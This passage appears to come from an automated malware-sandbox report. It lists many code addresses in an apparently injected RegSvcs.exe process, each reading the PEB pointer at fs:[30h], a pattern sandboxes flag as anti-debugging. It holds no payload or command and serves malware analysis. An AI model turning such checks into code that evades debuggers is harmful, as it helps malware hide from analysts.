Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01774180 mov eax, dword ptr fs:[00000030h]	14_2_01774180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CA197 mov eax, dword ptr fs:[00000030h]	14_2_016CA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CA197 mov eax, dword ptr fs:[00000030h]	14_2_016CA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CA197 mov eax, dword ptr fs:[00000030h]	14_2_016CA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FC073 mov eax, dword ptr fs:[00000030h]	14_2_016FC073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01756050 mov eax, dword ptr fs:[00000030h]	14_2_01756050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D2050 mov eax, dword ptr fs:[00000030h]	14_2_016D2050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01766030 mov eax, dword ptr fs:[00000030h]	14_2_01766030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CA020 mov eax, dword ptr fs:[00000030h]	14_2_016CA020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CC020 mov eax, dword ptr fs:[00000030h]	14_2_016CC020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01754000 mov ecx, dword ptr fs:[00000030h]	14_2_01754000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01772000 mov eax, dword ptr fs:[00000030h]	14_2_01772000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01772000 mov eax, dword ptr fs:[00000030h]	14_2_01772000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01772000 mov eax, dword ptr fs:[00000030h]	14_2_01772000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01772000 mov eax, dword ptr fs:[00000030h]	14_2_01772000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01772000 mov eax, dword ptr fs:[00000030h]	14_2_01772000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01772000 mov eax, dword ptr fs:[00000030h]	14_2_01772000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01772000 mov eax, dword ptr fs:[00000030h]	14_2_01772000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01772000 mov eax, dword ptr fs:[00000030h]	14_2_01772000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EE016 mov eax, dword ptr fs:[00000030h]	14_2_016EE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EE016 mov eax, dword ptr fs:[00000030h]	14_2_016EE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EE016 mov eax, dword ptr fs:[00000030h]	14_2_016EE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EE016 mov eax, dword ptr fs:[00000030h]	14_2_016EE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017120F0 mov ecx, dword ptr fs:[00000030h]	14_2_017120F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D80E9 mov eax, dword ptr fs:[00000030h]	14_2_016D80E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CA0E3 mov ecx, dword ptr fs:[00000030h]	14_2_016CA0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017560E0 mov eax, dword ptr fs:[00000030h]	14_2_017560E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CC0F0 mov eax, dword ptr fs:[00000030h]	14_2_016CC0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017520DE mov eax, dword ptr fs:[00000030h]	14_2_017520DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017960B8 mov eax, dword ptr fs:[00000030h]	14_2_017960B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017960B8 mov ecx, dword ptr fs:[00000030h]	14_2_017960B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C80A0 mov eax, dword ptr fs:[00000030h]	14_2_016C80A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017680A8 mov eax, dword ptr fs:[00000030h]	14_2_017680A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D208A mov eax, dword ptr fs:[00000030h]	14_2_016D208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177437C mov eax, dword ptr fs:[00000030h]	14_2_0177437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01778350 mov ecx, dword ptr fs:[00000030h]	14_2_01778350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175035C mov eax, dword ptr fs:[00000030h]	14_2_0175035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175035C mov eax, dword ptr fs:[00000030h]	14_2_0175035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175035C mov eax, dword ptr fs:[00000030h]	14_2_0175035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175035C mov ecx, dword ptr fs:[00000030h]	14_2_0175035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175035C mov eax, dword ptr fs:[00000030h]	14_2_0175035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175035C mov eax, dword ptr fs:[00000030h]	14_2_0175035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179A352 mov eax, dword ptr fs:[00000030h]	14_2_0179A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A634F mov eax, dword ptr fs:[00000030h]	14_2_017A634F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01752349 mov eax, dword ptr fs:[00000030h]	14_2_01752349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A8324 mov eax, dword ptr fs:[00000030h]	14_2_017A8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A8324 mov ecx, dword ptr fs:[00000030h]	14_2_017A8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A8324 mov eax, dword ptr fs:[00000030h]	14_2_017A8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A8324 mov eax, dword ptr fs:[00000030h]	14_2_017A8324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A30B mov eax, dword ptr fs:[00000030h]	14_2_0170A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A30B mov eax, dword ptr fs:[00000030h]	14_2_0170A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A30B mov eax, dword ptr fs:[00000030h]	14_2_0170A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CC310 mov ecx, dword ptr fs:[00000030h]	14_2_016CC310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F0310 mov ecx, dword ptr fs:[00000030h]	14_2_016F0310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E03E9 mov eax, dword ptr fs:[00000030h]	14_2_016E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E03E9 mov eax, dword ptr fs:[00000030h]	14_2_016E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E03E9 mov eax, dword ptr fs:[00000030h]	14_2_016E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E03E9 mov eax, dword ptr fs:[00000030h]	14_2_016E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E03E9 mov eax, dword ptr fs:[00000030h]	14_2_016E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E03E9 mov eax, dword ptr fs:[00000030h]	14_2_016E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E03E9 mov eax, dword ptr fs:[00000030h]	14_2_016E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E03E9 mov eax, dword ptr fs:[00000030h]	14_2_016E03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017063FF mov eax, dword ptr fs:[00000030h]	14_2_017063FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EE3F0 mov eax, dword ptr fs:[00000030h]	14_2_016EE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EE3F0 mov eax, dword ptr fs:[00000030h]	14_2_016EE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EE3F0 mov eax, dword ptr fs:[00000030h]	14_2_016EE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017743D4 mov eax, dword ptr fs:[00000030h]	14_2_017743D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017743D4 mov eax, dword ptr fs:[00000030h]	14_2_017743D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E3DB mov eax, dword ptr fs:[00000030h]	14_2_0177E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E3DB mov eax, dword ptr fs:[00000030h]	14_2_0177E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E3DB mov ecx, dword ptr fs:[00000030h]	14_2_0177E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177E3DB mov eax, dword ptr fs:[00000030h]	14_2_0177E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA3C0 mov eax, dword ptr fs:[00000030h]	14_2_016DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA3C0 mov eax, dword ptr fs:[00000030h]	14_2_016DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA3C0 mov eax, dword ptr fs:[00000030h]	14_2_016DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA3C0 mov eax, dword ptr fs:[00000030h]	14_2_016DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA3C0 mov eax, dword ptr fs:[00000030h]	14_2_016DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA3C0 mov eax, dword ptr fs:[00000030h]	14_2_016DA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D83C0 mov eax, dword ptr fs:[00000030h]	14_2_016D83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D83C0 mov eax, dword ptr fs:[00000030h]	14_2_016D83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D83C0 mov eax, dword ptr fs:[00000030h]	14_2_016D83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D83C0 mov eax, dword ptr fs:[00000030h]	14_2_016D83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0178C3CD mov eax, dword ptr fs:[00000030h]	14_2_0178C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017563C0 mov eax, dword ptr fs:[00000030h]	14_2_017563C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F438F mov eax, dword ptr fs:[00000030h]	14_2_016F438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F438F mov eax, dword ptr fs:[00000030h]	14_2_016F438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CE388 mov eax, dword ptr fs:[00000030h]	14_2_016CE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CE388 mov eax, dword ptr fs:[00000030h]	14_2_016CE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CE388 mov eax, dword ptr fs:[00000030h]	14_2_016CE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C8397 mov eax, dword ptr fs:[00000030h]	14_2_016C8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C8397 mov eax, dword ptr fs:[00000030h]	14_2_016C8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C8397 mov eax, dword ptr fs:[00000030h]	14_2_016C8397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C826B mov eax, dword ptr fs:[00000030h]	14_2_016C826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274 mov eax, dword ptr fs:[00000030h]	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D4260 mov eax, dword ptr fs:[00000030h]	14_2_016D4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D4260 mov eax, dword ptr fs:[00000030h]	14_2_016D4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D4260 mov eax, dword ptr fs:[00000030h]	14_2_016D4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A625D mov eax, dword ptr fs:[00000030h]	14_2_017A625D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0178A250 mov eax, dword ptr fs:[00000030h]	14_2_0178A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0178A250 mov eax, dword ptr fs:[00000030h]	14_2_0178A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D6259 mov eax, dword ptr fs:[00000030h]	14_2_016D6259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01758243 mov eax, dword ptr fs:[00000030h]	14_2_01758243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01758243 mov ecx, dword ptr fs:[00000030h]	14_2_01758243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CA250 mov eax, dword ptr fs:[00000030h]	14_2_016CA250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C823B mov eax, dword ptr fs:[00000030h]	14_2_016C823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E02E1 mov eax, dword ptr fs:[00000030h]	14_2_016E02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E02E1 mov eax, dword ptr fs:[00000030h]	14_2_016E02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E02E1 mov eax, dword ptr fs:[00000030h]	14_2_016E02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A62D6 mov eax, dword ptr fs:[00000030h]	14_2_017A62D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA2C3 mov eax, dword ptr fs:[00000030h]	14_2_016DA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA2C3 mov eax, dword ptr fs:[00000030h]	14_2_016DA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA2C3 mov eax, dword ptr fs:[00000030h]	14_2_016DA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA2C3 mov eax, dword ptr fs:[00000030h]	14_2_016DA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA2C3 mov eax, dword ptr fs:[00000030h]	14_2_016DA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E02A0 mov eax, dword ptr fs:[00000030h]	14_2_016E02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E02A0 mov eax, dword ptr fs:[00000030h]	14_2_016E02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017662A0 mov eax, dword ptr fs:[00000030h]	14_2_017662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017662A0 mov ecx, dword ptr fs:[00000030h]	14_2_017662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017662A0 mov eax, dword ptr fs:[00000030h]	14_2_017662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017662A0 mov eax, dword ptr fs:[00000030h]	14_2_017662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017662A0 mov eax, dword ptr fs:[00000030h]	14_2_017662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017662A0 mov eax, dword ptr fs:[00000030h]	14_2_017662A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E284 mov eax, dword ptr fs:[00000030h]	14_2_0170E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E284 mov eax, dword ptr fs:[00000030h]	14_2_0170E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01750283 mov eax, dword ptr fs:[00000030h]	14_2_01750283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01750283 mov eax, dword ptr fs:[00000030h]	14_2_01750283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01750283 mov eax, dword ptr fs:[00000030h]	14_2_01750283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170656A mov eax, dword ptr fs:[00000030h]	14_2_0170656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170656A mov eax, dword ptr fs:[00000030h]	14_2_0170656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170656A mov eax, dword ptr fs:[00000030h]	14_2_0170656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D8550 mov eax, dword ptr fs:[00000030h]	14_2_016D8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D8550 mov eax, dword ptr fs:[00000030h]	14_2_016D8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE53E mov eax, dword ptr fs:[00000030h]	14_2_016FE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE53E mov eax, dword ptr fs:[00000030h]	14_2_016FE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE53E mov eax, dword ptr fs:[00000030h]	14_2_016FE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE53E mov eax, dword ptr fs:[00000030h]	14_2_016FE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE53E mov eax, dword ptr fs:[00000030h]	14_2_016FE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0535 mov eax, dword ptr fs:[00000030h]	14_2_016E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0535 mov eax, dword ptr fs:[00000030h]	14_2_016E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0535 mov eax, dword ptr fs:[00000030h]	14_2_016E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0535 mov eax, dword ptr fs:[00000030h]	14_2_016E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0535 mov eax, dword ptr fs:[00000030h]	14_2_016E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0535 mov eax, dword ptr fs:[00000030h]	14_2_016E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01766500 mov eax, dword ptr fs:[00000030h]	14_2_01766500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4500 mov eax, dword ptr fs:[00000030h]	14_2_017A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4500 mov eax, dword ptr fs:[00000030h]	14_2_017A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4500 mov eax, dword ptr fs:[00000030h]	14_2_017A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4500 mov eax, dword ptr fs:[00000030h]	14_2_017A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4500 mov eax, dword ptr fs:[00000030h]	14_2_017A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4500 mov eax, dword ptr fs:[00000030h]	14_2_017A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4500 mov eax, dword ptr fs:[00000030h]	14_2_017A4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE5E7 mov eax, dword ptr fs:[00000030h]	14_2_016FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE5E7 mov eax, dword ptr fs:[00000030h]	14_2_016FE5E7
